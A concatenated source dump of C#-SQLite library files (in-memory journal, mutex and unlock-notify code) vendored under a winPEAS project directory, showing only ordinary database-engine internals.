//memcpy( zOut, pChunk.zChunk[iChunkOffset], nCopy ); izOut += nCopy;// zOut += nCopy; nRead -= iSpace; iChunkOffset = 0; } while ( nRead >= 0 && ( pChunk = pChunk.pNext ) != null && nRead > 0 ); p.readpoint.iOffset = (int)( iOfst + iAmt ); p.readpoint.pChunk = pChunk; return SQLITE_OK; } /* ** Write data to the file. */ static int memjrnlWrite( sqlite3_file pJfd, /* The journal file into which to write */ byte[] zBuf, /* Take data to be written from here */ int iAmt, /* Number of bytes to write */ sqlite3_int64 iOfst /* Begin writing at this offset into the file */ ) { MemJournal p = (MemJournal)pJfd; int nWrite = iAmt; byte[] zWrite = zBuf; int izWrite = 0; /* An in-memory journal file should only ever be appended to. Random ** access writes are not required by sqlite. */ Debug.Assert( iOfst == p.endpoint.iOffset ); UNUSED_PARAMETER( iOfst ); while ( nWrite > 0 ) { FileChunk pChunk = p.endpoint.pChunk; int iChunkOffset = (int)( p.endpoint.iOffset % JOURNAL_CHUNKSIZE ); int iSpace = MIN( nWrite, JOURNAL_CHUNKSIZE - iChunkOffset ); if ( iChunkOffset == 0 ) { /* New chunk is required to extend the file. */ FileChunk pNew = new FileChunk();// sqlite3_malloc( sizeof( FileChunk ) ); if ( null == pNew ) { return SQLITE_IOERR_NOMEM; } pNew.pNext = null; if ( pChunk != null ) { Debug.Assert( p.pFirst != null ); pChunk.pNext = pNew; } else { Debug.Assert( null == p.pFirst ); p.pFirst = pNew; } p.endpoint.pChunk = pNew; } Buffer.BlockCopy( zWrite, izWrite, p.endpoint.pChunk.zChunk, iChunkOffset, iSpace ); //memcpy( &p.endpoint.pChunk.zChunk[iChunkOffset], zWrite, iSpace ); izWrite += iSpace;//zWrite += iSpace; nWrite -= iSpace; p.endpoint.iOffset += iSpace; } return SQLITE_OK; } /* ** Truncate the file. */ static int memjrnlTruncate( sqlite3_file pJfd, sqlite3_int64 size ) { MemJournal p = (MemJournal)pJfd; FileChunk pChunk; Debug.Assert( size == 0 ); UNUSED_PARAMETER( size ); pChunk = p.pFirst; while ( pChunk != null ) { FileChunk pTmp = pChunk; pChunk = pChunk.pNext; //sqlite3_free( ref pTmp ); } sqlite3MemJournalOpen( pJfd ); return SQLITE_OK; } /* ** Close the file. */ static int memjrnlClose( MemJournal pJfd ) { memjrnlTruncate( pJfd, 0 ); return SQLITE_OK; } /* ** Sync the file. ** ** Syncing an in-memory journal is a no-op. And, in fact, this routine ** is never called in a working implementation. This implementation ** exists purely as a contingency, in case some malfunction in some other ** part of SQLite causes Sync to be called by mistake. */ static int memjrnlSync( sqlite3_file NotUsed, int NotUsed2 ) { /*NO_TEST*/ UNUSED_PARAMETER2( NotUsed, NotUsed2 ); /*NO_TEST*/ Debug.Assert( false ); /*NO_TEST*/ return SQLITE_OK; /*NO_TEST*/ } /*NO_TEST*/ /* ** Query the size of the file in bytes. */ static int memjrnlFileSize( sqlite3_file pJfd, ref int pSize ) { MemJournal p = (MemJournal)pJfd; pSize = p.endpoint.iOffset; return SQLITE_OK; } /* ** Table of methods for MemJournal sqlite3_file object. */ static sqlite3_io_methods MemJournalMethods = new sqlite3_io_methods( 1, /* iVersion */ (dxClose)memjrnlClose, /* xClose */ (dxRead)memjrnlRead, /* xRead */ (dxWrite)memjrnlWrite, /* xWrite */ (dxTruncate)memjrnlTruncate, /* xTruncate */ (dxSync)memjrnlSync, /* xSync */ (dxFileSize)memjrnlFileSize, /* xFileSize */ null, /* xLock */ null, /* xUnlock */ null, /* xCheckReservedLock */ null, /* xFileControl */ null, /* xSectorSize */ null /* xDeviceCharacteristics */ ); /* ** Open a journal file. */ static void sqlite3MemJournalOpen( sqlite3_file pJfd ) { MemJournal p = (MemJournal)pJfd; //memset( p, 0, sqlite3MemJournalSize() ); p.pFirst = null; p.endpoint = new FilePoint(); p.readpoint = new FilePoint(); p.pMethods = MemJournalMethods; } /* ** Return true if the file-handle passed as an argument is ** an in-memory journal */ static bool sqlite3IsMemJournal( sqlite3_file pJfd ) { return pJfd.pMethods == MemJournalMethods; } /* ** Return the number of bytes required to store a MemJournal that uses vfs ** pVfs to create the underlying on-disk files. */ static int sqlite3MemJournalSize() { return 3096; // sizeof( MemJournal ); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 14 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the C functions that implement mutexes. ** ** This file contains code that is common across all mutex implementations. ** ** $Id: mutex.c,v 1.31 2009/07/16 18:21:18 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if !SQLITE_MUTEX_OMIT /* ** Initialize the mutex system. */ static int sqlite3MutexInit() { int rc = SQLITE_OK; if ( sqlite3GlobalConfig.bCoreMutex ) { if ( sqlite3GlobalConfig.mutex.xMutexAlloc != null ) { /* If the xMutexAlloc method has not been set, then the user did not ** install a mutex implementation via sqlite3_config() prior to ** sqlite3_initialize() being called. This block copies pointers to ** the default implementation into the sqlite3Config structure. ** */ sqlite3_mutex_methods p = sqlite3DefaultMutex(); sqlite3_mutex_methods pTo = sqlite3GlobalConfig.mutex; memcpy(pTo, pFrom, offsetof(sqlite3_mutex_methods, xMutexAlloc)); memcpy(&pTo->xMutexFree, &pFrom->xMutexFree, sizeof(*pTo) - offsetof(sqlite3_mutex_methods, xMutexFree)); pTo->xMutexAlloc = pFrom->xMutexAlloc; } rc = sqlite3GlobalConfig.mutex.xMutexInit(); } return rc; } /* ** Shutdown the mutex system. This call frees resources allocated by ** sqlite3MutexInit(). */ static int sqlite3MutexEnd() { int rc = SQLITE_OK; if( sqlite3GlobalConfig.mutex.xMutexEnd ){ rc = sqlite3GlobalConfig.mutex.xMutexEnd(); } return rc; } /* ** Retrieve a pointer to a static mutex or allocate a new dynamic one. */ static sqlite3_mutex sqlite3_mutex_alloc( int id ) { #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() != 0 ) return null; #endif return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); } static sqlite3_mutex sqlite3MutexAlloc( int id ) { if ( ! sqlite3GlobalConfig.bCoreMutex ) { return null; } return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); } /* ** Free a dynamic mutex. */ static void sqlite3_mutex_free( ref sqlite3_mutex p ) { if ( p != null ) { sqlite3GlobalConfig.mutex.xMutexFree( p ); } } /* ** Obtain the mutex p. If some other thread already has the mutex, block ** until it can be obtained. */ static void sqlite3_mutex_enter( sqlite3_mutex p ) { if ( p != null ) { sqlite3GlobalConfig.mutex.xMutexEnter( p ); } } /* ** Obtain the mutex p. If successful, return SQLITE_OK. Otherwise, if another ** thread holds the mutex and it cannot be obtained, return SQLITE_BUSY. */ static int sqlite3_mutex_try( sqlite3_mutex p ) { int rc = SQLITE_OK; if ( p != null ) { return sqlite3GlobalConfig.mutex.xMutexTry( p ); } return rc; } /* ** The sqlite3_mutex_leave() routine exits a mutex that was previously ** entered by the same thread. The behavior is undefined if the mutex ** is not currently entered. If a NULL pointer is passed as an argument ** this function is a no-op. */ static void sqlite3_mutex_leave( sqlite3_mutex p ) { if ( p != null ) { sqlite3GlobalConfig.mutex.xMutexLeave( p ); } } #if !NDEBUG /* ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are ** intended for use inside Debug.Assert() statements. */ static bool sqlite3_mutex_held( sqlite3_mutex p ) { return ( p == null || sqlite3GlobalConfig.mutex.xMutexHeld( p ) != 0 ) ; } static bool sqlite3_mutex_notheld( sqlite3_mutex p ) { return ( p == null || sqlite3GlobalConfig.mutex.xMutexNotheld( p ) != 0 ) ; } #endif #endif //* SQLITE_OMIT_MUTEX */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_h.cs ================================================ #define SQLITE_OS_WIN namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 28 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains the common header for all mutex implementations. ** The sqliteInt.h header #includes this file so that it is available ** to all source files. We break it out in an effort to keep the code ** better organized. ** ** NOTE: source files should *not* #include this header file directly. ** Source files should #include the sqliteInt.h file and let that file ** include this one indirectly. ** ** $Id: mutex.h,v 1.9 2008/10/07 15:25:48 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ /* ** Figure out what version of the code to use. The choices are ** ** SQLITE_MUTEX_OMIT No mutex logic. Not even stubs. The ** mutexes implemention cannot be overridden ** at start-time. ** ** SQLITE_MUTEX_NOOP For single-threaded applications. No ** mutual exclusion is provided. But this ** implementation can be overridden at ** start-time. ** ** SQLITE_MUTEX_PTHREADS For multi-threaded applications on Unix. ** ** SQLITE_MUTEX_W32 For multi-threaded applications on Win32. ** ** SQLITE_MUTEX_OS2 For multi-threaded applications on OS/2. */ //#if !SQLITE_THREADSAFE //# define SQLITE_MUTEX_OMIT //#endif //#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP) //# if SQLITE_OS_UNIX //# define SQLITE_MUTEX_PTHREADS //# elif SQLITE_OS_WIN //# define SQLITE_MUTEX_W32 //# elif SQLITE_OS_OS2 //# define SQLITE_MUTEX_OS2 //# else //# define SQLITE_MUTEX_NOOP //# endif //#endif #if SQLITE_MUTEX_OMIT /* ** If this is a no-op implementation, implement everything as macros. */ public class sqlite3_mutex { } static sqlite3_mutex mutex = null; //sqlite3_mutex sqlite3_mutex; static sqlite3_mutex sqlite3MutexAlloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3MutexAlloc(X) ((sqlite3_mutex*)8) static sqlite3_mutex sqlite3_mutex_alloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3_mutex_alloc(X) ((sqlite3_mutex*)8) static void sqlite3_mutex_free( ref sqlite3_mutex m ) { } //#define sqlite3_mutex_free(X) static void sqlite3_mutex_enter( sqlite3_mutex m ) { } //#define sqlite3_mutex_enter(X) static int sqlite3_mutex_try( int iType ) { return SQLITE_OK; } //#define sqlite3_mutex_try(X) SQLITE_OK static void sqlite3_mutex_leave( sqlite3_mutex m ) { } //#define sqlite3_mutex_leave(X) static bool sqlite3_mutex_held( sqlite3_mutex m ) { return true; }//#define sqlite3_mutex_held(X) 1 static bool sqlite3_mutex_notheld( sqlite3_mutex m ) { return true; } //#define sqlite3_mutex_notheld(X) 1 static int sqlite3MutexInit() { return SQLITE_OK; } //#define sqlite3MutexInit() SQLITE_OK static void sqlite3MutexEnd() { } //#define sqlite3MutexEnd() #endif //* defined(SQLITE_OMIT_MUTEX) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_noop_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 October 07 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the C functions that implement mutexes. ** ** This implementation in this file does not provide any mutual ** exclusion and is thus suitable for use only in applications ** that use SQLite in a single thread. The routines defined ** here are place-holders. Applications can substitute working ** mutex routines at start-time using the ** ** sqlite3_config(SQLITE_CONFIG_MUTEX,...) ** ** interface. ** ** If compiled with SQLITE_DEBUG, then additional logic is inserted ** that does error checking on mutexes to make sure they are being ** called correctly. ** ** $Id: mutex_noop.c,v 1.3 2008/12/05 17:17:08 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if (SQLITE_MUTEX_NOOP) && !(SQLITE_DEBUG) /* ** Stub routines for all mutex methods. ** ** This routines provide no mutual exclusion or error checking. */ static int noopMutexHeld(sqlite3_mutex *p){ return 1; } static int noopMutexNotheld(sqlite3_mutex *p){ return 1; } static int noopMutexInit(void){ return SQLITE_OK; } static int noopMutexEnd(void){ return SQLITE_OK; } static sqlite3_mutex *noopMutexAlloc(int id){ return (sqlite3_mutex*)8; } static void noopMutexFree(sqlite3_mutex *p){ return; } static void noopMutexEnter(sqlite3_mutex *p){ return; } static int noopMutexTry(sqlite3_mutex *p){ return SQLITE_OK; } static void noopMutexLeave(sqlite3_mutex *p){ return; } sqlite3_mutex_methods *sqlite3DefaultMutex(void){ static sqlite3_mutex_methods sMutex = { noopMutexInit, noopMutexEnd, noopMutexAlloc, noopMutexFree, noopMutexEnter, noopMutexTry, noopMutexLeave, noopMutexHeld, noopMutexNotheld }; return &sMutex; } #endif //* defined(SQLITE_MUTEX_NOOP) && !defined(SQLITE_DEBUG) */ #if (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) /* ** In this implementation, error checking is provided for testing ** and debugging purposes. The mutexes still do not provide any ** mutual exclusion. */ /* ** The mutex object */ struct sqlite3_mutex { int id; /* The mutex type */ int cnt; /* Number of entries without a matching leave */ }; /* ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are ** intended for use inside Debug.Assert() statements. */ static int debugMutexHeld(sqlite3_mutex *p){ return p==0 || p->cnt>0; } static int debugMutexNotheld(sqlite3_mutex *p){ return p==0 || p->cnt==0; } /* ** Initialize and deinitialize the mutex subsystem. */ static int debugMutexInit(void){ return SQLITE_OK; } static int debugMutexEnd(void){ return SQLITE_OK; } /* ** The sqlite3_mutex_alloc() routine allocates a new ** mutex and returns a pointer to it. If it returns NULL ** that means that a mutex could not be allocated. */ static sqlite3_mutex *debugMutexAlloc(int id){ static sqlite3_mutex aStatic[6]; sqlite3_mutex *pNew = 0; switch( id ){ case SQLITE_MUTEX_FAST: case SQLITE_MUTEX_RECURSIVE: { pNew = sqlite3Malloc(sizeof(*pNew)); if( pNew ){ pNew->id = id; pNew->cnt = 0; } break; } default: { Debug.Assert( id-2 >= 0 ); assert( id-2 < (int)(sizeof(aStatic)/sizeof(aStatic[0])) ); pNew = &aStatic[id-2]; pNew->id = id; break; } } return pNew; } /* ** This routine deallocates a previously allocated mutex. */ static void debugMutexFree(sqlite3_mutex *p){ Debug.Assert( p->cnt==0 ); Debug.Assert( p->id==SQLITE_MUTEX_FAST || p->id==SQLITE_MUTEX_RECURSIVE ); //sqlite3_free(ref p); } /* ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt ** to enter a mutex. If another thread is already within the mutex, ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return ** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK ** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can ** be entered multiple times by the same thread. In such cases the, ** mutex must be exited an equal number of times before another thread ** can enter. If the same thread tries to enter any other kind of mutex ** more than once, the behavior is undefined. */ static void debugMutexEnter(sqlite3_mutex *p){ Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); p->cnt++; } static int debugMutexTry(sqlite3_mutex *p){ Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); p->cnt++; return SQLITE_OK; } /* ** The sqlite3_mutex_leave() routine exits a mutex that was ** previously entered by the same thread. The behavior ** is undefined if the mutex is not currently entered or ** is not currently allocated. SQLite will never do either. */ static void debugMutexLeave(sqlite3_mutex *p){ Debug.Assert( debugMutexHeld(p) ); p->cnt--; Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); } sqlite3_mutex_methods *sqlite3DefaultMutex(void){ static sqlite3_mutex_methods sMutex = { debugMutexInit, debugMutexEnd, debugMutexAlloc, debugMutexFree, debugMutexEnter, debugMutexTry, debugMutexLeave, debugMutexHeld, debugMutexNotheld }; return &sMutex; } #endif //* (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_w32.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 14 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the C functions that implement mutexes for win32 ** ** $Id: mutex_w32.c,v 1.18 2009/08/10 03:23:21 shane Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** The code in this file is only used if we are compiling multithreaded ** on a win32 system. */ #if SQLITE_MUTEX_W32 /* ** Each recursive mutex is an instance of the following structure. */ struct sqlite3_mutex { CRITICAL_SECTION mutex; /* Mutex controlling the lock */ int id; /* Mutex type */ int nRef; /* Number of enterances */ DWORD owner; /* Thread holding this mutex */ }; /* ** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, ** or WinCE. Return false (zero) for Win95, Win98, or WinME. ** ** Here is an interesting observation: Win95, Win98, and WinME lack ** the LockFileEx() API. But we can still statically link against that ** API as long as we don't call it win running Win95/98/ME. A call to ** this routine is used to determine if the host is Win95/98/ME or ** WinNT/2K/XP so that we will know whether or not we can safely call ** the LockFileEx() API. ** ** mutexIsNT() is only used for the TryEnterCriticalSection() API call, ** which is only available if your application was compiled with ** _WIN32_WINNT defined to a value >= 0x0400. Currently, the only ** call to TryEnterCriticalSection() is #ifdef'ed out, so #if ** this out as well. */ #if FALSE #if SQLITE_OS_WINCE //# define mutexIsNT() (1) #else static int mutexIsNT(void){ static int osType = 0; if( osType==0 ){ OSVERSIONINFO sInfo; sInfo.dwOSVersionInfoSize = sizeof(sInfo); GetVersionEx(&sInfo); osType = sInfo.dwPlatformId==VER_PLATFORM_WIN32_NT ? 2 : 1; } return osType==2; } #endif //* SQLITE_OS_WINCE */ #endif #if SQLITE_DEBUG /* ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are ** intended for use only inside Debug.Assert() statements. */ static int winMutexHeld(sqlite3_mutex p){ return p.nRef!=0 && p.owner==GetCurrentThreadId(); } static int winMutexNotheld(sqlite3_mutex p){ return p.nRef==0 || p.owner!=GetCurrentThreadId(); } #endif /* ** Initialize and deinitialize the mutex subsystem. */ static sqlite3_mutex winMutex_staticMutexes[6]; static int winMutex_isInit = 0; /* As winMutexInit() and winMutexEnd() are called as part ** of the sqlite3_initialize and sqlite3_shutdown() ** processing, the "interlocked" magic is probably not ** strictly necessary. */ static long winMutex_lock = 0; static int winMutexInit(void){ /* The first to increment to 1 does actual initialization */ if( InterlockedCompareExchange(winMutex_lock, 1, 0)==0 ){ int i; for(i=0; i **
  • SQLITE_MUTEX_FAST 0 **
  • SQLITE_MUTEX_RECURSIVE 1 **
  • SQLITE_MUTEX_STATIC_MASTER 2 **
  • SQLITE_MUTEX_STATIC_MEM 3 **
  • SQLITE_MUTEX_STATIC_PRNG 4 ** ** ** The first two constants cause sqlite3_mutex_alloc() to create ** a new mutex. The new mutex is recursive when SQLITE_MUTEX_RECURSIVE ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. ** The mutex implementation does not need to make a distinction ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does ** not want to. But SQLite will only request a recursive mutex in ** cases where it really needs one. If a faster non-recursive mutex ** implementation is available on the host platform, the mutex subsystem ** might return such a mutex in response to SQLITE_MUTEX_FAST. ** ** The other allowed parameters to sqlite3_mutex_alloc() each return ** a pointer to a static preexisting mutex. Three static mutexes are ** used by the current version of SQLite. Future versions of SQLite ** may add additional static mutexes. Static mutexes are for internal ** use by SQLite only. Applications that use SQLite mutexes should ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or ** SQLITE_MUTEX_RECURSIVE. ** ** Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() ** returns a different mutex on every call. But for the static ** mutex types, the same mutex is returned on every call that has ** the same type number. */ static sqlite3_mutex *winMutexAlloc(int iType){ sqlite3_mutex p; switch( iType ){ case SQLITE_MUTEX_FAST: case SQLITE_MUTEX_RECURSIVE: { p = sqlite3MallocZero( sizeof(*p) ); if( p ){ p.id = iType; InitializeCriticalSection(p.mutex); } break; } default: { Debug.Assert( winMutex_isInit==1 ); Debug.Assert(iType-2 >= 0 ); assert( iType-2 < sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]) ); p = &winMutex_staticMutexes[iType-2]; p.id = iType; break; } } return p; } /* ** This routine deallocates a previously ** allocated mutex. SQLite is careful to deallocate every ** mutex that it allocates. */ static void winMutexFree(sqlite3_mutex p){ Debug.Assert(p ); Debug.Assert(p.nRef==0 ); Debug.Assert(p.id==SQLITE_MUTEX_FAST || p.id==SQLITE_MUTEX_RECURSIVE ); DeleteCriticalSection(p.mutex); //sqlite3DbFree(db,p); } /* ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt ** to enter a mutex. If another thread is already within the mutex, ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return ** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK ** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can ** be entered multiple times by the same thread. In such cases the, ** mutex must be exited an equal number of times before another thread ** can enter. If the same thread tries to enter any other kind of mutex ** more than once, the behavior is undefined. */ static void winMutexEnter(sqlite3_mutex p){ Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); EnterCriticalSection(p.mutex); p.owner = GetCurrentThreadId(); p.nRef++; } static int winMutexTry(sqlite3_mutex p){ int rc = SQLITE_BUSY; Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); /* ** The sqlite3_mutex_try() routine is very rarely used, and when it ** is used it is merely an optimization. So it is OK for it to always ** fail. ** ** The TryEnterCriticalSection() interface is only available on WinNT. ** And some windows compilers complain if you try to use it without ** first doing some #defines that prevent SQLite from building on Win98. ** For that reason, we will omit this optimization for now. See ** ticket #2685. */ #if FALSE if( mutexIsNT() && TryEnterCriticalSection(p.mutex) ){ p.owner = GetCurrentThreadId(); p.nRef++; rc = SQLITE_OK; } #else UNUSED_PARAMETER(p); #endif return rc; } /* ** The sqlite3_mutex_leave() routine exits a mutex that was ** previously entered by the same thread. The behavior ** is undefined if the mutex is not currently entered or ** is not currently allocated. SQLite will never do either. */ static void winMutexLeave(sqlite3_mutex p){ Debug.Assert(p.nRef>0 ); Debug.Assert(p.owner==GetCurrentThreadId() ); p.nRef--; Debug.Assert(p.nRef==0 || p.id==SQLITE_MUTEX_RECURSIVE ); LeaveCriticalSection(p.mutex); } sqlite3_mutex_methods *sqlite3DefaultMutex(void){ static sqlite3_mutex_methods sMutex = { winMutexInit, winMutexEnd, winMutexAlloc, winMutexFree, winMutexEnter, winMutexTry, winMutexLeave, #if SQLITE_DEBUG winMutexHeld, winMutexNotheld #else null, null #endif }; return &sMutex; } #endif // * SQLITE_MUTEX_W32 */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/notify_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2009 March 3 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains the implementation of the sqlite3_unlock_notify() ** API method and its associated functionality. ** ** $Id: notify.c,v 1.4 2009/04/07 22:06:57 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include "btreeInt.h" /* Omit this entire file if SQLITE_ENABLE_UNLOCK_NOTIFY is not defined. */ #if SQLITE_ENABLE_UNLOCK_NOTIFY /* ** Public interfaces: ** ** sqlite3ConnectionBlocked() ** sqlite3ConnectionUnlocked() ** sqlite3ConnectionClosed() ** sqlite3_unlock_notify() */ //#define assertMutexHeld() \ assert( sqlite3_mutex_held(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)) ) /* ** Head of a linked list of all sqlite3 objects created by this process ** for which either sqlite3.pBlockingConnection or sqlite3.pUnlockConnection ** is not NULL. This variable may only accessed while the STATIC_MASTER ** mutex is held. */ static sqlite3 *SQLITE_WSD sqlite3BlockedList = 0; #if !NDEBUG /* ** This function is a complex assert() that verifies the following ** properties of the blocked connections list: ** ** 1) Each entry in the list has a non-NULL value for either ** pUnlockConnection or pBlockingConnection, or both. ** ** 2) All entries in the list that share a common value for ** xUnlockNotify are grouped together. ** ** 3) If the argument db is not NULL, then none of the entries in the ** blocked connections list have pUnlockConnection or pBlockingConnection ** set to db. This is used when closing connection db. */ static void checkListProperties(sqlite3 *db){ sqlite3 *p; for(p=sqlite3BlockedList; p; p=p->pNextBlocked){ int seen = 0; sqlite3 *p2; /* Verify property (1) */ assert( p->pUnlockConnection || p->pBlockingConnection ); /* Verify property (2) */ for(p2=sqlite3BlockedList; p2!=p; p2=p2->pNextBlocked){ if( p2->xUnlockNotify==p->xUnlockNotify ) seen = 1; assert( p2->xUnlockNotify==p->xUnlockNotify || !seen ); assert( db==0 || p->pUnlockConnection!=db ); assert( db==0 || p->pBlockingConnection!=db ); } } } #else //# define checkListProperties(x) #endif /* ** Remove connection db from the blocked connections list. If connection ** db is not currently a part of the list, this function is a no-op. */ static void removeFromBlockedList(sqlite3 *db){ sqlite3 **pp; assertMutexHeld(); for(pp=&sqlite3BlockedList; *pp; pp = &(*pp)->pNextBlocked){ if( *pp==db ){ *pp = (*pp)->pNextBlocked; break; } } } /* ** Add connection db to the blocked connections list. It is assumed ** that it is not already a part of the list. */ static void addToBlockedList(sqlite3 *db){ sqlite3 **pp; assertMutexHeld(); for( pp=&sqlite3BlockedList; *pp && (*pp)->xUnlockNotify!=db->xUnlockNotify; pp=&(*pp)->pNextBlocked ); db->pNextBlocked = *pp; *pp = db; } /* ** Obtain the STATIC_MASTER mutex. */ static void enterMutex(){ sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); checkListProperties(0); } /* ** Release the STATIC_MASTER mutex. */ static void leaveMutex(){ assertMutexHeld(); checkListProperties(0); sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); } /* ** Register an unlock-notify callback. ** ** This is called after connection "db" has attempted some operation ** but has received an SQLITE_LOCKED error because another connection ** (call it pOther) in the same process was busy using the same shared ** cache. pOther is found by looking at db->pBlockingConnection. ** ** If there is no blocking connection, the callback is invoked immediately, ** before this routine returns. ** ** If pOther is already blocked on db, then report SQLITE_LOCKED, to indicate ** a deadlock. ** ** Otherwise, make arrangements to invoke xNotify when pOther drops ** its locks. ** ** Each call to this routine overrides any prior callbacks registered ** on the same "db". If xNotify==0 then any prior callbacks are immediately ** cancelled. */ int sqlite3_unlock_notify( sqlite3 *db, void (*xNotify)(void **, int), void *pArg ){ int rc = SQLITE_OK; sqlite3_mutex_enter(db->mutex); enterMutex(); if( xNotify==0 ){ removeFromBlockedList(db); db->pUnlockConnection = 0; db->xUnlockNotify = 0; db->pUnlockArg = 0; }else if( 0==db->pBlockingConnection ){ /* The blocking transaction has been concluded. Or there never was a ** blocking transaction. In either case, invoke the notify callback ** immediately. */ xNotify(&pArg, 1); }else{ sqlite3 *p; for(p=db->pBlockingConnection; p && p!=db; p=p->pUnlockConnection){} if( p ){ rc = SQLITE_LOCKED; /* Deadlock detected. */ }else{ db->pUnlockConnection = db->pBlockingConnection; db->xUnlockNotify = xNotify; db->pUnlockArg = pArg; removeFromBlockedList(db); addToBlockedList(db); } } leaveMutex(); assert( !db->mallocFailed ); sqlite3Error(db, rc, (rc?"database is deadlocked":0)); sqlite3_mutex_leave(db->mutex); return rc; } /* ** This function is called while stepping or preparing a statement ** associated with connection db. The operation will return SQLITE_LOCKED ** to the user because it requires a lock that will not be available ** until connection pBlocker concludes its current transaction. */ void sqlite3ConnectionBlocked(sqlite3 *db, sqlite3 *pBlocker){ enterMutex(); if( db->pBlockingConnection==0 && db->pUnlockConnection==0 ){ addToBlockedList(db); } db->pBlockingConnection = pBlocker; leaveMutex(); } /* ** This function is called when ** the transaction opened by database db has just finished. Locks held ** by database connection db have been released. ** ** This function loops through each entry in the blocked connections ** list and does the following: ** ** 1) If the sqlite3.pBlockingConnection member of a list entry is ** set to db, then set pBlockingConnection=0. ** ** 2) If the sqlite3.pUnlockConnection member of a list entry is ** set to db, then invoke the configured unlock-notify callback and ** set pUnlockConnection=0. ** ** 3) If the two steps above mean that pBlockingConnection==0 and ** pUnlockConnection==0, remove the entry from the blocked connections ** list. */ void sqlite3ConnectionUnlocked(sqlite3 *db){ void (*xUnlockNotify)(void **, int) = 0; /* Unlock-notify cb to invoke */ int nArg = 0; /* Number of entries in aArg[] */ sqlite3 **pp; /* Iterator variable */ void **aArg; /* Arguments to the unlock callback */ void **aDyn = 0; /* Dynamically allocated space for aArg[] */ void *aStatic[16]; /* Starter space for aArg[]. No malloc required 